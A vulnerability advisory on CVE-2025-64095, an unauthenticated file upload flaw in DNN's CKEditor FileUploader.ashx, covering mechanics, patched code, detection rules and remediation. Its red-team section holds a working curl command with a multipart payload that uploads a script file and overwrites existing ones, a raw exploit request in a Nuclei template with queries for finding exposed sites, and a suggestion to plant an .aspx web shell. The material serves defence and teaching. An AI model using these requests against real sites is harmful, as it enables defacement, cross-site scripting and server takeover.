CVE-2025-64095

Executive Summary

CVE-2025-64095 is a critical, unauthenticated arbitrary file upload vulnerability affecting DNN (formerly DotNetNuke) versions prior to 10.1.1. The flaw resides in the default HTML editor provider, specifically the FileUploader.ashx handler, which fails to enforce authentication or proper file type validation. An unauthenticated attacker can upload arbitrary files (including images, HTML, or scripts) and overwrite existing files on the server. This allows for website defacement, persistent cross-site scripting (XSS) attacks, and potential remote code execution when combined with other vulnerabilities. The vulnerability has a CVSS score of 10.0, indicating maximum severity. A public proof-of-concept (PoC) and a Nuclei template are available, making active exploitation highly likely.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core DNN CMS platform. The risk to the supply chain is indirect: organizations using DNN as a CMS are directly affected. There is no known compromise of the DNN update channel or source code repository.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – An attacker can read arbitrary files.
• Integrity (I): High – An attacker can modify or overwrite files.
• Availability (A): High – An attacker can delete or corrupt files, causing denial of service.

Threat Level: Critical. The combination of no authentication, low complexity, and high impact makes this vulnerability extremely dangerous. Public exploit code and a Nuclei template lower the barrier for attackers.

Deep Dive & Mechanics

The vulnerability exists in the FileUploader.ashx HTTP handler located at /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. This handler is part of the CKEditor integration in DNN. The handler accepts multipart form-data uploads and processes them without verifying the user's identity or session. The key parameters are:

• file: The uploaded file content.
• storageFolderID: The folder ID where the file will be stored.
• portalID: The portal ID (default 0).
• overrideFiles: A flag (1 or 0) that allows overwriting existing files.
• mode: The upload mode (e.g., "Default").

The handler does not validate the file extension or MIME type, allowing an attacker to upload any file type, including .aspx, .html, or .png with embedded scripts. The overrideFiles parameter, when set to 1, allows overwriting existing files, which can be used to replace legitimate files (e.g., CSS, JavaScript, or images) with malicious content.

Attack Flow:

1. An attacker sends a POST request to the vulnerable endpoint with a crafted multipart form-data payload.
2. The file is uploaded to the server's file system, typically under the /Portals/0/ directory.
3. If overrideFiles is set to 1, the attacker can overwrite an existing file, such as a JavaScript library or an image.
4. The attacker can then trigger the malicious file by visiting the affected page, leading to XSS or defacement.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.1.1): The vulnerable handler (FileUploader.ashx) does not perform any authentication or authorization checks. It directly processes the uploaded file without validating the user's session or permissions.

// Vulnerable: No authentication check
public void ProcessRequest(HttpContext context)
{
    // Directly process the uploaded file
    HttpPostedFile file = context.Request.Files["file"];
    // ... save file to disk
}

Patched Code (10.1.1+): The patched version adds authentication checks and file type validation. The handler now verifies that the user is authenticated and has the necessary permissions to upload files. Additionally, file extensions are validated against a whitelist.

// Patched: Authentication and authorization check
public void ProcessRequest(HttpContext context)
{
    if (!context.User.Identity.IsAuthenticated)
    {
        context.Response.StatusCode = 401;
        context.Response.End();
        return;
    }
    // Validate file extension
    string[] allowedExtensions = { ".jpg", ".jpeg", ".png", ".gif", ".bmp" };
    string fileExtension = Path.GetExtension(context.Request.Files["file"].FileName);
    if (!allowedExtensions.Contains(fileExtension.ToLower()))
    {
        context.Response.StatusCode = 403;
        context.Response.End();
        return;
    }
    // ... save file to disk
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable DNN instance (version < 10.1.1) using Docker or a local IIS server.
2. Ensure the CKEditor provider is enabled (default configuration).

Exploitation Steps:

1. Use the provided Nuclei template or craft a manual request using curl:

   curl -X POST "http://target.com/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx" \
   -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
   --data-binary @payload.txt
   

   Where payload.txt contains:

   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="test.html"
   Content-Type: text/html
   
   <script>alert('XSS')</script>
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="storageFolderID"
   
   1
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="portalID"
   
   0
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="overrideFiles"
   
   1
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="mode"
   
   Default
   ------WebKitFormBoundary--
   

2. The file will be uploaded to /Portals/0/test.html. Access it via http://target.com/Portals/0/test.html to trigger the XSS.

Advanced Exploitation:

• Upload a .aspx web shell to achieve remote code execution.
• Overwrite a critical JavaScript file (e.g., jquery.js) to inject malicious scripts across the entire site.

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx from unauthenticated sources.
2. Look for unusual file extensions in uploads (e.g., .html, .aspx, .asp, .php).
3. Check for the overrideFiles parameter set to 1 in logs.
4. Monitor file system changes in the /Portals/ directory, especially overwrites of existing files.

Hunting Queries:

• Search for files with suspicious extensions in /Portals/ that were not part of the original installation.
• Look for files with recent modification timestamps that match the time of an attack.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx with multipart form-data.
  • Requests containing overrideFiles=1 in the body.
  • Unusual Content-Type headers (e.g., text/html for image uploads).

• File System IOCs:

  • New files in /Portals/ with extensions like .html, .aspx, .asp, .php, .js.
  • Modified timestamps on existing files in /Portals/ (e.g., jquery.js, style.css).
  • Files containing JavaScript or HTML code that were not part of the original CMS.

• Log IOCs:

  • HTTP 200 responses to the vulnerable endpoint from unauthenticated IPs.
  • Repeated upload attempts from the same IP address.

Detection Engineering

YARA Rule

rule CVE_2025_64095_FileUpload {
    meta:
        description = "Detects malicious file uploads targeting CVE-2025-64095 in DNN"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64095"
    strings:
        $s1 = "FileUploader.ashx" ascii wide nocase
        $s2 = "overrideFiles" ascii wide nocase
        $s3 = "storageFolderID" ascii wide nocase
        $s4 = "portalID" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-64095 - DNN Unauthenticated File Upload
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to the vulnerable DNN file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx'
    condition: selection
falsepositives:
    - Legitimate admin uploads (should be authenticated)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64095 - DNN Unauthenticated File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx"; http_uri; content:"multipart/form-data"; http_client_body; content:"overrideFiles"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-64095

info:
  name: DNN - Unrestricted Arbitrary File Upload
  author: DhiyaneshDk,pussycat0x
  severity: critical
  description: |
    DNN (formerly DotNetNuke) < 10.1.1 contains an unrestricted file upload vulnerability caused by the default HTML editor provider allowing unauthenticated file uploads and overwriting existing files, letting unauthenticated attackers deface websites and inject XSS payloads, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can upload and overwrite files, leading to website defacement and cross-site scripting attacks.
  remediation: |
    Update to version 10.1.1 or later.
  reference:
    - https://github.com/h4x0r-dz/CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload
  metadata:
    verified: true
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    shodan-query:
      - "Set-Cookie: dnn_IsMobile"
      - http.favicon.hash:-1465479343
    fofa-query:
      - app="dotnetnuke"
      - "Set-Cookie: dnn_IsMobile"
      - icon_hash="-1465479343"
  tags: cve,cve2025,intrusive,file-upload,dnn,vkev

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3

        --------------------------7RKjWLYyrhvUn2AA31fJQ3
        Content-Disposition: form-data; name="file"; filename="{{filename}}.png"
        Content-Type: image/png

        {{randstr}}
        --------------------------7RKjWLYyrhvUn2AA31fJQ3
        Content-Disposition: form-data; name="storageFolderID"

        1
        --------------------------7RKjWLYyrhvUn2AA31fJQ3
        Content-Disposition: form-data; name="portalID"

        0
        --------------------------7RKjWLYyrhvUn2AA31fJQ3
        Content-Disposition: form-data; name="overrideFiles"

        1
        --------------------------7RKjWLYyrhvUn2AA31fJQ3
        Content-Disposition: form-data; name="mode"

        Default
        --------------------------7RKjWLYyrhvUn2AA31fJQ3--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"group"'
          - 'delete_type'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade DNN: Update to version 10.1.1 or later immediately. This is the only complete fix.
2. Restrict Access: If immediate upgrade is not possible, block access to the vulnerable endpoint using a Web Application Firewall (WAF) or IIS URL Rewrite rules.
   • Example IIS Rewrite rule:

     <rule name="Block CVE-2025-64095" stopProcessing="true">
         <match url="^Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx" />
         <action type="AbortRequest" />
     </rule>
     

3. Disable CKEditor Provider: Temporarily disable the CKEditor HTML editor provider in DNN settings.

Long-Term Mitigations:

• Implement network segmentation to isolate the DNN server.
• Enable detailed logging and monitoring for file uploads.
• Conduct regular security audits and penetration testing.
• Apply the principle of least privilege to file system permissions.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at [valters@example.com].

{/* [Security Hash: 4C45B2A1ABA56D917380D9AB] */}